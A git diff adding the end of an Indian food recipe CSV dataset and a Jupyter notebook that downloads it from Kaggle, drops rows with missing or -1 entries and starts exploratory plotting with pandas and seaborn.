Bengal,East +Gheela Pitha,"Sticky rice, rice flour, jaggery, orange rind",vegetarian,10,30,sweet,dessert,Assam,North East +Khar,"Raw papaya, panch phoran masala, nigella seeds, mustard oil, fennel seeds",vegetarian,10,20,-1,main course,Assam,North East +Kumol Sawul,"Rice, eggs, carrot, beetroot",non vegetarian,-1,-1,spicy,main course,Assam,North East +Luchi,"Maida, vegetable oil",vegetarian,20,30,-1,main course,West Bengal,East +Alu Pitika,"Potatoes, mustard oil, fish, green chillies",non vegetarian,5,20,spicy,main course,Assam,North East +Masor tenga,"Ridge gourd, fish, lemon, tomatoes, mustard oil",non vegetarian,15,25,spicy,main course,Assam,North East +Bengena Pitika,"Brinjal, onions, salt, sesame seeds, coriander",vegetarian,-1,-1,-1,main course,Assam,North East +Bilahi Maas,"Potatoes, garam masala, tomatoes, mustard oil, bay leaf",non vegetarian,10,20,-1,main course,Assam,North East +Black rice,"Forbidden black rice, chicken, olive oil, slivered almonds, garlic powder",non vegetarian,-1,-1,-1,main course,Manipur,North East +Bora Sawul,"Biryani masala, mixed vegetables, yellow moong daal, whole red, mustard seeds",vegetarian,-1,-1,spicy,main course,Assam,North East +Brown Rice,"Brown rice, soy sauce, olive oil",vegetarian,15,25,-1,main course,-1,-1 +Chingri malai curry,"Coconut milk, lobster, fresh green chilli, ginger, red onion",non vegetarian,10,40,spicy,main course,West Bengal,East +Goja,"Baking soda, clarified butter, oil, all purpose flour",vegetarian,20,60,sweet,dessert,West Bengal,East +Hando Guri,"Jaggery, raisins",vegetarian,-1,-1,sweet,dessert,Assam,North East +Haq Maas,"Lamb, garam masala powder, curd, turmeric, bay leaf",non vegetarian,20,40,spicy,main course,Assam,North East +Chingri Bhape,"Coconut, prawns, curd, mustard seed, green chili",non vegetarian,15,30,-1,main course,West Bengal,East +Kabiraji,"Fish fillet, besan, lemon, mint, ginger",non vegetarian,-1,-1,spicy,main course,West Bengal,East +Khorisa,"Fermented bamboo shoot, potato, ginger, green, mustard oil",vegetarian,-1,-1,spicy,main course,Assam,North East +Koldil Chicken,"Banana flower, chicken, green chili, mustard oil, lemon juice",non vegetarian,-1,-1,spicy,main course,Assam,North East +Konir Dom,"Aloo, tomatoes, mustard oil, bay leaf, cinnamon stick",non vegetarian,-1,-1,spicy,main course,Assam,North East +Koldil Duck,"Rice flour, mutton, banana, gram flour, olive oil, baking powder",non vegetarian,-1,-1,spicy,main course,Assam,North East +Masor Koni,"Fish roe, pumpkin flowers, mustard oil, turmeric, tomato",non vegetarian,-1,-1,spicy,main course,Assam,North East +Mishti Chholar Dal,"Chana dal, fresh coconut, ginger, cinnamon, raisins",vegetarian,10,30,sweet,main course,West Bengal,East +Pakhala,"Curd, cooked rice, curry leaves, dry chilli",vegetarian,-1,-1,-1,main course,Odisha,East +Pani Pitha,"Tea leaves, white sesame seeds, dry coconut, soaked rice",vegetarian,10,20,-1,main course,Assam,North East +Payokh,"Basmati rice, rose water, sugar, clarified butter, cardamom pods",vegetarian,-1,-1,sweet,dessert,Assam,North East +Prawn malai curry,"Coconut milk, prawns, garlic, turmeric, sugar",non vegetarian,15,50,spicy,main course,West Bengal,East +Red Rice,"Red pepper, red onion, butter, watercress, olive oil",vegetarian,-1,-1,-1,main course,-1,-1 +Shukto,"Green beans, bitter gourd, ridge gourd, banana, brinjal",vegetarian,10,20,spicy,main course,West Bengal,East +Til Pitha,"Glutinous rice, black sesame seeds, gur",vegetarian,5,30,sweet,dessert,Assam,North East +Bebinca,"Coconut milk, egg yolks, clarified butter, all purpose flour",vegetarian,20,60,sweet,dessert,Goa,West +Shufta,"Cottage cheese, dry dates, dried rose petals, pistachio, badam",vegetarian,-1,-1,sweet,dessert,Jammu & Kashmir,North +Mawa Bati,"Milk powder, dry fruits, arrowroot powder, all purpose flour",vegetarian,20,45,sweet,dessert,Madhya Pradesh,Central +Pinaca,"Brown rice, fennel seeds, grated coconut, black pepper, ginger powder",vegetarian,-1,-1,sweet,dessert,Goa,West \ No newline at end of file diff --git a/MachineLearning Projects/Food-Data-Analysis/foodanalysis.ipynb b/MachineLearning Projects/Food-Data-Analysis/foodanalysis.ipynb new file mode 100644 index 00000000..0616d5d7 --- /dev/null +++ b/MachineLearning Projects/Food-Data-Analysis/foodanalysis.ipynb @@ -0,0 +1,1686 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "MG7tZCRtMnoO" + }, + "source": [ + "**FOOD DATA ANALYSIS**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "LvJvhj5LZ1ua", + "outputId": "555e1cd4-3d5d-48a0-b5a6-23ffbe186ff5" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\u001b[?25l\r\u001b[K |████▊ | 10 kB 26.6 MB/s eta 0:00:01\r\u001b[K |█████████▌ | 20 kB 7.7 MB/s eta 0:00:01\r\u001b[K |██████████████▎ | 30 kB 10.9 MB/s eta 0:00:01\r\u001b[K |███████████████████ | 40 kB 4.7 MB/s eta 0:00:01\r\u001b[K |███████████████████████▉ | 51 kB 4.4 MB/s eta 0:00:01\r\u001b[K |████████████████████████████▋ | 61 kB 5.2 MB/s eta 0:00:01\r\u001b[K |████████████████████████████████| 68 kB 3.1 MB/s \n", + "\u001b[?25h Building wheel for uuid (setup.py) ... \u001b[?25l\u001b[?25hdone\n" + ] + } + ], + "source": [ + "!pip install jovian --upgrade -q\n", + "import jovian\n", + "jovian.utils.colab.set_colab_file_id('1hO4YEBFiixx9_y5MwfoCvCd5QE6Zu9b6')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ruGy_PRVcspK" + }, + "source": [ + "**Downloading the Dataset**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Fi9viouCZ4AA" + }, + "outputs": [], + "source": [ + "!pip install jovian opendatasets --upgrade --quiet" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "0jT4tZC1Z7eo" + }, + "outputs": [], + "source": [ + "# Defining Dataset URL\n", + "dataset_url = 'https://www.kaggle.com/nehaprabhavalkar/indian-food-101' " + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "1sqCDU72QByF" + }, + "source": [ + "**STEPS TO GET THE KAGGLE USERNAME AND KEY**\n", + "\n", + "i. Sign in to your kaggle account\n", + "\n", + "ii. Click on your profile at the top-right corner of the screen\n", + "\n", + "iii. Go to account\n", + "\n", + "iv. Scroll down to API\n", + "\n", + "v. Click on the \"Create New API Token\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "CZibmrgbZ_iQ", + "outputId": "f78fef35-b299-493a-b918-175e85d868f8" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Please provide your Kaggle credentials to download this dataset. Learn more: http://bit.ly/kaggle-creds\n", + "Your Kaggle username: nadarjegan\n", + "Your Kaggle Key: ··········\n", + "Downloading indian-food-101.zip to ./indian-food-101\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "100%|██████████| 6.79k/6.79k [00:00<00:00, 7.33MB/s]" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "\n" + ] + } + ], + "source": [ + "import opendatasets as od\n", + "od.download(dataset_url)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "_cAXe5muaBDc" + }, + "outputs": [], + "source": [ + "!pip install jovian --upgrade -q" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "Npcfs8SVccX7" + }, + "source": [ + "**Data Preparation and Cleaning**\n", + "\n", + "Importing pandas library\n", + "\n", + "Creating pandas data frames\n", + "\n", + "Analysing the No. of rows & columns\n", + "\n", + "Droping the rows with Null values and invalid entries." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "syNHqV0qaLKj" + }, + "outputs": [], + "source": [ + "import pandas as pd" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + "id": "8o1Rg-c7aM9z", + "outputId": "b416a197-536b-414f-aebb-e27f7b913238" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
nameingredientsdietprep_timecook_timeflavor_profilecoursestateregion
0Balu shahiMaida flour, yogurt, oil, sugarvegetarian4525sweetdessertWest BengalEast
1BoondiGram flour, ghee, sugarvegetarian8030sweetdessertRajasthanWest
2Gajar ka halwaCarrots, milk, sugar, ghee, cashews, raisinsvegetarian1560sweetdessertPunjabNorth
3GhevarFlour, ghee, kewra, milk, clarified butter, su...vegetarian1530sweetdessertRajasthanWest
4Gulab jamunMilk powder, plain flour, baking powder, ghee,...vegetarian1540sweetdessertWest BengalEast
..............................
250Til PithaGlutinous rice, black sesame seeds, gurvegetarian530sweetdessertAssamNorth East
251BebincaCoconut milk, egg yolks, clarified butter, all...vegetarian2060sweetdessertGoaWest
252ShuftaCottage cheese, dry dates, dried rose petals, ...vegetarian-1-1sweetdessertJammu & KashmirNorth
253Mawa BatiMilk powder, dry fruits, arrowroot powder, all...vegetarian2045sweetdessertMadhya PradeshCentral
254PinacaBrown rice, fennel seeds, grated coconut, blac...vegetarian-1-1sweetdessertGoaWest
\n", + "

255 rows × 9 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " name ingredients \\\n", + "0 Balu shahi Maida flour, yogurt, oil, sugar \n", + "1 Boondi Gram flour, ghee, sugar \n", + "2 Gajar ka halwa Carrots, milk, sugar, ghee, cashews, raisins \n", + "3 Ghevar Flour, ghee, kewra, milk, clarified butter, su... \n", + "4 Gulab jamun Milk powder, plain flour, baking powder, ghee,... \n", + ".. ... ... \n", + "250 Til Pitha Glutinous rice, black sesame seeds, gur \n", + "251 Bebinca Coconut milk, egg yolks, clarified butter, all... \n", + "252 Shufta Cottage cheese, dry dates, dried rose petals, ... \n", + "253 Mawa Bati Milk powder, dry fruits, arrowroot powder, all... \n", + "254 Pinaca Brown rice, fennel seeds, grated coconut, blac... \n", + "\n", + " diet prep_time cook_time flavor_profile course \\\n", + "0 vegetarian 45 25 sweet dessert \n", + "1 vegetarian 80 30 sweet dessert \n", + "2 vegetarian 15 60 sweet dessert \n", + "3 vegetarian 15 30 sweet dessert \n", + "4 vegetarian 15 40 sweet dessert \n", + ".. ... ... ... ... ... \n", + "250 vegetarian 5 30 sweet dessert \n", + "251 vegetarian 20 60 sweet dessert \n", + "252 vegetarian -1 -1 sweet dessert \n", + "253 vegetarian 20 45 sweet dessert \n", + "254 vegetarian -1 -1 sweet dessert \n", + "\n", + " state region \n", + "0 West Bengal East \n", + "1 Rajasthan West \n", + "2 Punjab North \n", + "3 Rajasthan West \n", + "4 West Bengal East \n", + ".. ... ... \n", + "250 Assam North East \n", + "251 Goa West \n", + "252 Jammu & Kashmir North \n", + "253 Madhya Pradesh Central \n", + "254 Goa West \n", + "\n", + "[255 rows x 9 columns]" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df = pd.read_csv('/content/indian-food-101/indian_food.csv')\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + "id": "UbsiYdQVaPcx", + "outputId": "125ca9ab-5521-443f-cee2-7076b00643c3" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
namedietprep_timecook_timeflavor_profilecoursestateregion
0Balu shahivegetarian4525sweetdessertWest BengalEast
1Boondivegetarian8030sweetdessertRajasthanWest
2Gajar ka halwavegetarian1560sweetdessertPunjabNorth
3Ghevarvegetarian1530sweetdessertRajasthanWest
4Gulab jamunvegetarian1540sweetdessertWest BengalEast
...........................
250Til Pithavegetarian530sweetdessertAssamNorth East
251Bebincavegetarian2060sweetdessertGoaWest
252Shuftavegetarian-1-1sweetdessertJammu & KashmirNorth
253Mawa Bativegetarian2045sweetdessertMadhya PradeshCentral
254Pinacavegetarian-1-1sweetdessertGoaWest
\n", + "

254 rows × 8 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " name diet prep_time cook_time flavor_profile course \\\n", + "0 Balu shahi vegetarian 45 25 sweet dessert \n", + "1 Boondi vegetarian 80 30 sweet dessert \n", + "2 Gajar ka halwa vegetarian 15 60 sweet dessert \n", + "3 Ghevar vegetarian 15 30 sweet dessert \n", + "4 Gulab jamun vegetarian 15 40 sweet dessert \n", + ".. ... ... ... ... ... ... \n", + "250 Til Pitha vegetarian 5 30 sweet dessert \n", + "251 Bebinca vegetarian 20 60 sweet dessert \n", + "252 Shufta vegetarian -1 -1 sweet dessert \n", + "253 Mawa Bati vegetarian 20 45 sweet dessert \n", + "254 Pinaca vegetarian -1 -1 sweet dessert \n", + "\n", + " state region \n", + "0 West Bengal East \n", + "1 Rajasthan West \n", + "2 Punjab North \n", + "3 Rajasthan West \n", + "4 West Bengal East \n", + ".. ... ... \n", + "250 Assam North East \n", + "251 Goa West \n", + "252 Jammu & Kashmir North \n", + "253 Madhya Pradesh Central \n", + "254 Goa West \n", + "\n", + "[254 rows x 8 columns]" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Droping the missing values and 'ingredients' column\n", + "df = df.drop(['ingredients'],axis=1).dropna(axis=0)\n", + "df" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + "id": "FiTdBvryaRJp", + "outputId": "a2fab734-feb1-4aa6-b385-d5e516218861" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
namedietprep_timecook_timeflavor_profilecoursestateregion
0Balu shahivegetarian4525sweetdessertWest BengalEast
1Boondivegetarian8030sweetdessertRajasthanWest
2Gajar ka halwavegetarian1560sweetdessertPunjabNorth
3Ghevarvegetarian1530sweetdessertRajasthanWest
4Gulab jamunvegetarian1540sweetdessertWest BengalEast
...........................
247Prawn malai currynon vegetarian1550spicymain courseWest BengalEast
249Shuktovegetarian1020spicymain courseWest BengalEast
250Til Pithavegetarian530sweetdessertAssamNorth East
251Bebincavegetarian2060sweetdessertGoaWest
253Mawa Bativegetarian2045sweetdessertMadhya PradeshCentral
\n", + "

180 rows × 8 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " name diet prep_time cook_time flavor_profile \\\n", + "0 Balu shahi vegetarian 45 25 sweet \n", + "1 Boondi vegetarian 80 30 sweet \n", + "2 Gajar ka halwa vegetarian 15 60 sweet \n", + "3 Ghevar vegetarian 15 30 sweet \n", + "4 Gulab jamun vegetarian 15 40 sweet \n", + ".. ... ... ... ... ... \n", + "247 Prawn malai curry non vegetarian 15 50 spicy \n", + "249 Shukto vegetarian 10 20 spicy \n", + "250 Til Pitha vegetarian 5 30 sweet \n", + "251 Bebinca vegetarian 20 60 sweet \n", + "253 Mawa Bati vegetarian 20 45 sweet \n", + "\n", + " course state region \n", + "0 dessert West Bengal East \n", + "1 dessert Rajasthan West \n", + "2 dessert Punjab North \n", + "3 dessert Rajasthan West \n", + "4 dessert West Bengal East \n", + ".. ... ... ... \n", + "247 main course West Bengal East \n", + "249 main course West Bengal East \n", + "250 dessert Assam North East \n", + "251 dessert Goa West \n", + "253 dessert Madhya Pradesh Central \n", + "\n", + "[180 rows x 8 columns]" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Removing data with invalid entries (-1)\n", + "df1= df[df.prep_time !=-1]\n", + "df1= df1[df1.cook_time !=-1]\n", + "df1= df1[df1.flavor_profile !='-1']\n", + "df1= df1[df1.state !='-1']\n", + "df1= df1[df1.region !='-1']\n", + "df1" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "B5_EF1Brc7ON" + }, + "source": [ + "**Exploratory Analysis and Visualization**\n", + "\n", + "Importing libraries for visualization i.e matplotlib, seaborn, etc." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "_XAESJH5aUUJ" + }, + "outputs": [], + "source": [ + "import seaborn as sns\n", + "import matplotlib\n", + "import matplotlib.pyplot as plt\n", + "%matplotlib inline\n", + "\n", + "sns.set_style('darkgrid')\n", + "matplotlib.rcParams['font.size'] = 14\n", + "matplotlib.rcParams['figure.figsize'] = (9, 5)\n", + "matplotlib.rcParams['figure.facecolor'] = '#00000000'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "a5bQ-Or1aWQB", + "outputId": "05d403ac-97ba-4072-c2cd-1f771a3b480f" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n", + "Int64Index: 180 entries, 0 to 253\n", + "Data columns (total 8 columns):\n", + " # Column Non-Null Count Dtype \n", + "--- ------ -------------- ----- \n", + " 0 name 180 non-null object\n", + " 1 diet 180 non-null object\n", + " 2 prep_time 180 non-null int64 \n", + " 3 cook_time 180 non-null int64 \n", + " 4 flavor_profile 180 non-null object\n", + " 5 course 180 non-null object\n", + " 6 state 180 non-null object\n", + " 7 region 180 non-null object\n", + "dtypes: int64(2), object(6)\n", + "memory usage: 12.7+ KB\n" + ] + } + ], + "source": [ + "df1.info()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 300 + }, + "id": "2fg1TTehaX05", + "outputId": "e0585b07-479b-4c70-9c21-4ed5a02cf36f" + }, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
prep_timecook_time
count180.000000180.000000
mean30.70555640.366667
std64.15803654.377215
min5.0000005.000000
25%10.00000025.000000
50%10.00000030.000000
75%20.00000045.000000
max500.000000720.000000
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ], + "text/plain": [ + " prep_time cook_time\n", + "count 180.000000 180.000000\n", + "mean 30.705556 40.366667\n", + "std 64.158036 54.377215\n", + "min 5.000000 5.000000\n", + "25% 10.000000 25.000000\n", + "50% 10.000000 30.000000\n", + "75% 20.000000 45.000000\n", + "max 500.000000 720.000000" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df1.describe()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "1aCtO9SyabDJ", + "outputId": "1468e2d2-0814-4427-ac44-333a7c3cacdc" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "main course 83\n", + "dessert 70\n", + "snack 25\n", + "starter 2\n", + "Name: course, dtype: int64" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Coursewise No. of dishes\n", + "course_counts = df1.course.value_counts()\n", + "course_counts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 394 + }, + "id": "g-JERJLdacMK", + "outputId": "ef970266-0089-4133-9520-a89a85e58611" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "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